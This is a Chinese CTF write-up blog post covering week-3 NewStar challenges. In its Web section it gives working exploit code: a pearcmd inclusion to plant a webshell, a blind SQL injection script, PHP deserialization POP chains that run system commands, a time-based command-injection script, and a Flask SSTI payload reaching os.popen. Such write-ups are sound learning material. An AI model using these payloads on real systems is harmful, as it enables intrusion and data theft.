NewStar新生赛w3wp

本文最后更新于:2023年10月24日 凌晨

NewStar新生赛w3部分wp

$\mathcal{Author:CoolWind}$

Misc

0x01 阳光开朗大男孩

下载附件得到两个文件,secret.txt中可以看到是一段社会主义核心价值观加密

这里有一个坑点就是密码是s000_h4rd_p4sssw0rdddd而不是整个一串。

flag.txt中可以看到是一串emjoy表情包,可以知道是emoji-aes加密

得到flag。

0x02 大怨种

看到是一个gif,使用kali中的imagemagic套件中的convert将其分解

可以得到三张照片,其中包含一张汉信码

然后用汉信码解码网站解码

得到flag。

0x03 滴滴滴

听所给的音频文件可以知道是手机拨号,使用破解脚本dtfm2num解码可以得到数字密码

因为所给图片是一个jpg格式,并且有密码,可以联想到steghide加密,通过密码解密图片可以得到一个txt文件,flag之道就在其中。

0x04 2-分析

通过题目描述可以知道这是一次rce攻击的流量包,因为要找到攻击路径,所以直接筛选http包中所有状态码为200的进行分析,可以找到如下包

一段pear裸文件包含的rce。

追踪http流看一下可以确定是这个包,找到漏洞文件index.php以及shell文件wh1t3g0d.php

还有一个用户名没找到,接着筛选可以找到这样一个POST包,追踪一下http

说明用户名是best_admin

因此可以得到

根据题目描述进行md5,即可得到flag。

0x05 键盘侠

拿到的是一组usb流量,因为题目名称是键盘侠,因此找一下键盘流量

发现这组1.15.1发送的流量很符合,将其过滤然后提取出来存到1.pcapng中(图为已提取出来的)。

tshark将其中的usb数据提取到一个txt中以便于之后写码提取。

同时根据键盘流量编码表可以写出如下python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
keys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"}

with open("usbdata.txt", "r") as f:
lines = f.readlines()

buffer = ""

for line in lines:
key = str(line[4:6])
cap = False
if key in keys:
cmd = keys[key]
if cmd.isalpha():
buffer += cmd if not cap else cmd.upper()
elif cmd == "<DEL>":
buffer = buffer[:-1]
elif cmd == "<CAP>":
cap = cap ^ True
elif cmd == "<SPACE>":
buffer += " "
else:
buffer += cmd

print(buffer)

可以得到flag文件

Web

0x01 include pear

进入网站看到一句提示说phpinfo中有东西,进入之后可以看到

让我们检查register_argc_argv

发现是打开的,因此会存在pear的裸文件包含问题,pear会将payload中传入的一个参数作为参数进行调用,可以查看p神的文章学习一下。

通过构造payload可以将木马文件直接传入,但是要注意因为源码中在include的时候会自动加上.php,因此要注意在读取pearcmd.php的时候后面不要加文件后缀,pearcmd即可。

传入之后直接蚁剑连接,得到根目录下的flag。

0x02 medium_sql

吸取上次的经验,先用sqlmap来一发,发现有布尔盲注和时间盲注。

兴致勃勃的想直接一把梭,结果发现flag爆不全,最多爆到列名,虽然不能一把梭但是还算是减轻工作量了

那就只能自己写布尔盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://18d49419-954f-4393-b03d-ff9e16cdf733.node4.buuoj.cn:81/?id=TMP0919"
strs = "0123456789abcdefghijklmnopqrstuvwxyz-{|}"

for num in range(1, 50):
for str in strs:
payload = f"%27%20AND%20SUBSTR((SELECT%20flag%20from%20here_is_flag),{num},1)=%27{str}%27--+"
response = requests.get(url + payload)
if "class_item" in response.text:
print(str, end="")
break

注意需要大写绕过,最终得到flag。

0x03 POP Gadget

php反序列化中的pop链问题,需要利用php类中的魔术方法对其进行调用。

本题中用到的魔术方法如下表:

魔术方法 作用情况
__destruct 在对象被销毁前(即从内存中清除前)调用这个方法。
__toString 在对象被当做字符串处理的时候调用。
__call 当调用了对象中不存在的变量/方法的时候调用。
__invoke 当对象被作为函数调用的时候调用。
__unset 当在类外删除一个private属性的时候调用。

因此思路是:

  1. 通过Begin中的preg_match调用Then中的__toString
  2. 通过Then中的($this->func)()调用Super中的__invoke
  3. 通过Super中的$this->obj->getStr()调用Handle中的__call
  4. 通过Handle中的$this->obj->end()调用CTF中的end()
  5. 通过CTF中的unset调用WhiteGod中的__unset

pop链的尾端由于是两个变量拼接使用,因此可以给WhiteGod的对象中的func设置为systemvar设置为你想要使用的参数,进行rce。构造序列化脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

class Begin{
public $name;
}
class Then{
private $func;
function __construct()
{
$this->func=new Super();
}
}
class Handle{
protected $obj;
function __construct()
{
$this->obj=new CTF();
}
}
class Super{
protected $obj;
function __construct()
{
$this->obj=new Handle();
}
}
class CTF{
public $handle;
public function __construct()
{
$this->handle=new WhiteGod();
}
}
class WhiteGod{
public $func;
public $var;
public function __construct()
{
$this->func="system";
$this->var="cat /f*";
}
}
$a=new Begin();
$b=new Then();
$a->name=$b;

echo urlencode(serialize($a));

同时,因为有的变量是private,因此后面都使用__construct方法对变量进行赋值。传入构造的序列化

得到flag

0x04 R!!C!!E!!

文件名一定要自己爆而不是无脑相信大佬的话~

启动靶机之后发现是minipop链+exec无回显函数,可以考虑rce盲注

首先写minipop链的序列化。

1
2
3
4
5
6
7
8
9
10
11
<?php
class minipop{
public $code;
public $qwejaskdjnlka;
}
$a=new minipop();
$b=new minipop();
$a->qwejaskdjnlka=$b;
$b->code='what_you_want';

echo serialize($a);

通过实验if [1=1] ;then sleep 3;fi发现有时延,因此可以进行时间盲注。

写时间盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import time
import requests

class Breakloop(Exception):
pass


url = "http://b5167f43-bd09-4bed-916e-8943ab31f149.node4.buuoj.cn:81/"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Origin": url,
"Referer": url,
}
dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{-1234567890}"
res = ""
payload_str = 'O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:%d:"if [ `ls / | awk NR==%d | cut -c %d` == %s ];then sleep 3;fi";s:13:"qwejaskdjnlka";N;}}'
data = {"payload": ""}

for k in range(1, 30):
print("line%d :" % k, end="")
res = ""
try:
for i in range(1, 100):
for j in dic:
data["payload"] = payload_str % (
55 + len(str(k)) + len(str(i)),
k,
i,
j,
)
t1 = time.time()
re = requests.post(url=url, data=data, headers=headers)
t2 = time.time()
if re.status_code == 404:
exit(0)
if t2 - t1 > 2:
res += j
break
if j == "}":
raise Breakloop
except Breakloop:
pass
print(res)

因为不喜欢写函数选择了try-catch进行跳循环,大佬请无视

可以爆出根目录的文件

得到文件名flag_is_h3eeere

然后用同样的脚本随便改一改啥的可以爆出flag

不知道为什么大括号不显示,但是不重要,交flag的时候手动加上就行。

0x05 GenShin*

你说的对,但是官解是NewStar官方出的wp

因为没时间做了,这是一道赛后复现题,但是由于官解初版给的payload是错的,我复现了两天。

通过测试可以知道过滤了很多ssti注入的类,同时过滤了单引号和popen,可以通过get_flashed_message加上字符串拼接进行注入。

可以构造payload

1
{% print(get_flashed_messages.__globals__["os"]["pop"+"en"]("cat /flag").read()) %}

直接读取flag。

另附一篇搜到的比较全的flask-ssti注入文章


NewStar新生赛w3wp
http://cool-wind.top/2023/10/24/NewStar新生赛w3wp/
作者
CoolWind
发布于
2023年10月24日
许可协议